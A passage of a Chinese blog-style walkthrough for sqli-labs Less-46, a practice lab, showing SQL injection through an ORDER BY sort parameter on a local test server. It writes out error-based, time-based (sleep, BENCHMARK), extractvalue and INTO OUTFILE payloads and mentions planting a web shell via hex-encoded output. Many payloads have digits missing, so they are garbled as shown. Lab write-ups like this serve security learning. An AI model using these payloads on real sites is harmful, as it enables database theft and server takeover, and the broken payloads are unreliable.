sqli-labs(46)
2024-10-07 04:08:59
0X01首先我们先来看一下源码
发现查询语句变成了 order by 参数也变成了 sort 看看是什么样的
()首先看看本关sql语句 $sql = "SELECT * FROM users ORDER BY $id";
在mysql中 order by 参数后可以加入升序和降序来改变排列顺序,
我们来看看mysql的帮助函数
0x4 思路分析 ()order by 后的数字可以作为一个注入点,构造order by 后的一个语句,让该语句执行结果为一个数,我们尝试
http://127.0.0.1/sql1/Less-46/?sort=right(database(),1)
解释下:
rigth函数:是返回右边结果的第一个字符 left 同理
经过测试,两个函数在页面并没有任何的反应,证明数字并没有起作用,考虑下布尔类型。可以利用报错注入和延时注入。
(2)直接在sort后面构造,形式存在几种
直接添加注入语句
利用函数(例如:rand 函数等)使用true和false看看结果
http://127.0.0.1/sql1/Less-46/?sort=rand(true)
http://127.0.0.1/sql1/Less-46/?sort=rand(false)
发现并没有 特别的变化
http://127.0.0.1/sql1/Less-46/?sort=-1%20and%20(select%20database())
也没有什么特别的变化 那我们想一想其他的注入
比如报错
?sort= and (select count(*),concat_ws(';',database(),floor(rand()*))as a from information_schema.tables group by a)
返回一个操作数应该包含一列
sort=(select count(*) from information_schema.columns group by concat(0x5c,(select user()),0x5c,floor(rand()*)) limit ,)
4)延迟注入实例
?sort= (select if(substring(current,,)=CHAR(),BENCHMARK(,md5('')),null) from (select database() as current) as test)
?sort= and if(ascii(substr(database(),,))=,,sleep())
()procedure analyse参数注入 利用procedure analyse参数,我们可以执行报错注入。同时,在procedure analyse和order by之间可以存在limit参数,我们在实际应用中,往往也可能会存在limit后的注入,可以利用procedure analyse进行注入。
?sort= procedure analyse(extractvalue(rand()*,concat(0x3a,version())),)
5)导入导出文件into outfile参数
http://localhost/sqli-labs-master/Less-46/?sort=1 into outfile "d:/1.txt"
(6)lines terminated by上传网马
Into outtfile 文件地址 lines terminated by 0x(网马进行16进制转换)
切记 学习之路 少就是多 慢就是快
最新文章
- .NET分布式事务处理
- linux常用命令之查阅文件
- Draw a Border around any C# Winform Control
- (转) Written Memories: Understanding, Deriving and Extending the LSTM
- paypal api 相关资料
- UI5_HomeWork
- JS学习笔记 -- 定时器,提示框的应用
- eclipse安装Hadoop1.1.2版本开发插件
- gd库不支持jpeg的解决方法
- 初次配置eclipse, jdk, tomcat, maven, mysql, alt+/
- Eclipse自动补全增强
- JAVA本地环境启动OOM问题排查
- express respond.send 和 end的区别
- java中的值传递和引用传递有什么区别呀?
- kubernets 单节点安装
- NoClassDefFoundError与ClassNotFoundException
- ubuntu 安装 c语言的库函数man手册
- 基于Ubuntu + nextCloud 搭建自己的私人网盘
- vue模板语法
- ES6 Module的语法
热门文章
- python_0基础开始_day12
- 前端-CSS-初探-注释-语法结构-引入方式-选择器-选择器优先级-01(待完善)
- CentOS 7 yum安装LAMP,LNMP并搭建WordPress个人博客网站
- API 网关性能比较:NGINX vs. ZUUL vs. Spring Cloud Gateway vs. Linkerd
- O005、远程管理 KVM 虚机
- P1:天文数据获取
- Clob类型转换为String
- LCD 原理和移植总结【转】
- CISCO运维记录之4507设备升级IOS(Version 03.03.02.SG版本存在bug)
- Java并发(基础知识)—— Executor框架及线程池